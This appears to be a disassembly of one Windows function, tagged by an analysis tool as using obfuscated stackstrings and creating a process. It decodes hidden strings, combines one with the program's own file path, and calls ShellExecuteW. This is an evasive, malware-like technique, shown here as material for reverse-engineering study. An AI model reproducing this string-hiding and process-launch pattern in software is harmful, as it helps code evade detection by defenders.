Function at 0x44d6a0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa84
mov eax, dword [0x4fd0b8]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
mov byte [ebp - 0xa84], 0
mov byte [ebp - 0xa83], 0x7c
mov byte [ebp - 0xa82], 0xc
mov byte [ebp - 0xa81], 0x2a
mov byte [ebp - 0xa80], 0xc
mov byte [ebp - 0xa7f], 0x56
mov byte [ebp - 0xa7e], 0xc
mov byte [ebp - 0xa7d], 0
mov byte [ebp - 0xa7c], 0xc
mov byte [ebp - 0xa7b], 0x61
mov byte [ebp - 0xa7a], 0xc
mov byte [ebp - 0xa79], 0x34
mov byte [ebp - 0xa78], 0xc
mov byte [ebp - 0xa77], 0x42
mov byte [ebp - 0xa76], 0xc
mov byte [ebp - 0xa75], 0x15
mov byte [ebp - 0xa74], 0xc
mov byte [ebp - 0xa73], 0
mov byte [ebp - 0xa72], 0xc
mov byte [ebp - 0xa71], 0x49
mov byte [ebp - 0xa70], 0xc
mov byte [ebp - 0xa6f], 0x19
mov byte [ebp - 0xa6e], 0xc
mov byte [ebp - 0xa6d], 0x27
mov byte [ebp - 0xa6c], 0xc
mov byte [ebp - 0xa6b], 0x5a
mov byte [ebp - 0xa6a], 0xc
mov byte [ebp - 0xa69], 0x79
mov byte [ebp - 0xa68], 0xc
mov byte [ebp - 0xa67], 0x5a
mov byte [ebp - 0xa66], 0xc
mov byte [ebp - 0xa65], 0x79
mov byte [ebp - 0xa64], 0xc
mov byte [ebp - 0xa63], 0x5a
mov byte [ebp - 0xa62], 0xc
mov byte [ebp - 0xa61], 0x49
mov byte [ebp - 0xa60], 0xc
mov byte [ebp - 0xa5f], 0
mov byte [ebp - 0xa5e], 0xc
mov byte [ebp - 0xa5d], 0xb
mov byte [ebp - 0xa5c], 0xc
mov byte [ebp - 0xa5b], 0x42
mov byte [ebp - 0xa5a], 0xc
mov byte [ebp - 0xa59], 0
mov byte [ebp - 0xa58], 0xc
mov byte [ebp - 0xa57], 8
mov byte [ebp - 0xa56], 0xc
mov byte [ebp - 0xa55], 0
mov byte [ebp - 0xa54], 0xc
mov byte [ebp - 0xa53], 0x54
mov byte [ebp - 0xa52], 0xc
mov byte [ebp - 0xa51], 0
mov byte [ebp - 0xa50], 0xc
mov byte [ebp - 0xa4f], 0x42
mov byte [ebp - 0xa4e], 0xc
mov byte [ebp - 0xa4d], 0x6f
mov byte [ebp - 0xa4c], 0xc
mov byte [ebp - 0xa4b], 0x23
mov byte [ebp - 0xa4a], 0xc
mov byte [ebp - 0xa49], 0
mov byte [ebp - 0xa48], 0xc
mov byte [ebp - 0xa47], 0x5d
mov byte [ebp - 0xa46], 0xc
mov byte [ebp - 0xa45], 0
mov byte [ebp - 0xa44], 0xc
mov byte [ebp - 0xa43], 0x26
mov byte [ebp - 0xa42], 0xc
mov byte [ebp - 0xa41], 0x75
mov byte [ebp - 0xa40], 0xc
mov byte [ebp - 0xa3f], 0x23
mov byte [ebp - 0xa3e], 0xc
mov byte [ebp - 0xa3d], 0
mov byte [ebp - 0xa3c], 0xc
mov byte [ebp - 0xa3b], 0x1f
mov byte [ebp - 0xa3a], 0xc
mov byte [ebp - 0xa39], 0xe
mov edi, 0x7f
mov byte [ebp - 0xa38], 0xc
mov byte [ebp - 0xa37], 0x23
mov byte [ebp - 0xa36], 0xc
mov byte [ebp - 0xa35], 0x50
mov byte [ebp - 0xa34], 0xc
mov byte [ebp - 0xa33], 0x1f
mov byte [ebp - 0xa32], 0xc
mov byte [ebp - 0xa31], 0xc
mov byte [ebp - 0xa30], 0xc
mov al, byte [ebp - 0xa83]
cmp byte [ebp - 0xa84], 0
jne 0x44d96b
push esi
xor esi, esi
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + esi - 0xa83]
mov ecx, 0xc
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x2d
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0xa83], dl
inc esi
cmp esi, 0x54
jb 0x44d940
pop esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xa83]
push eax
lea eax, [ebp - 0xa0c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov byte [ebp - 0xa2c], 0
add esp, 0xc
mov byte [ebp - 0xa2b], 0x19
mov byte [ebp - 0xa2a], 0x64
mov byte [ebp - 0xa29], 0x4f
mov byte [ebp - 0xa28], 0x64
mov byte [ebp - 0xa27], 5
mov byte [ebp - 0xa26], 0x64
mov byte [ebp - 0xa25], 0x45
mov byte [ebp - 0xa24], 0x64
mov byte [ebp - 0xa23], 0x70
mov byte [ebp - 0xa22], 0x64
mov byte [ebp - 0xa21], 0x71
mov byte [ebp - 0xa20], 0x64
mov byte [ebp - 0xa1f], 0x70
mov byte [ebp - 0xa1e], 0x64
mov byte [ebp - 0xa1d], 0x64
mov byte [ebp - 0xa1c], 0x64
mov al, byte [ebp - 0xa2b]
cmp byte [ebp - 0xa2c], 0
jne 0x44da37
xor ecx, ecx
mov al, byte [ebp + ecx - 0xa2b]
movzx eax, al
sub eax, 0x64
imul eax, eax, 0x13
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0xa2b], dl
inc ecx
cmp ecx, 0x10
jb 0x44da11
mov byte [ebp - 0xa18], 0
mov byte [ebp - 0xa17], 0x75
mov byte [ebp - 0xa16], 0x69
mov byte [ebp - 0xa15], 0x15
mov byte [ebp - 0xa14], 0x69
mov byte [ebp - 0xa13], 0x3d
mov byte [ebp - 0xa12], 0x69
mov byte [ebp - 0xa11], 0x56
mov byte [ebp - 0xa10], 0x69
mov byte [ebp - 0xa0f], 0x69
mov byte [ebp - 0xa0e], 0x69
mov al, byte [ebp - 0xa17]
cmp byte [ebp - 0xa18], 0
jne 0x44dac6
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xa17]
movzx eax, al
sub eax, 0x69
imul eax, eax, 0x29
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0xa17], dl
inc ecx
cmp ecx, 0xa
jb 0x44daa0
push 0
push 0
lea eax, [ebp - 0xa0c]
push eax
lea eax, [ebp - 0xa2b]
push eax
lea eax, [ebp - 0xa17]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.0047913d
mov esp, ebp
pop ebp
ret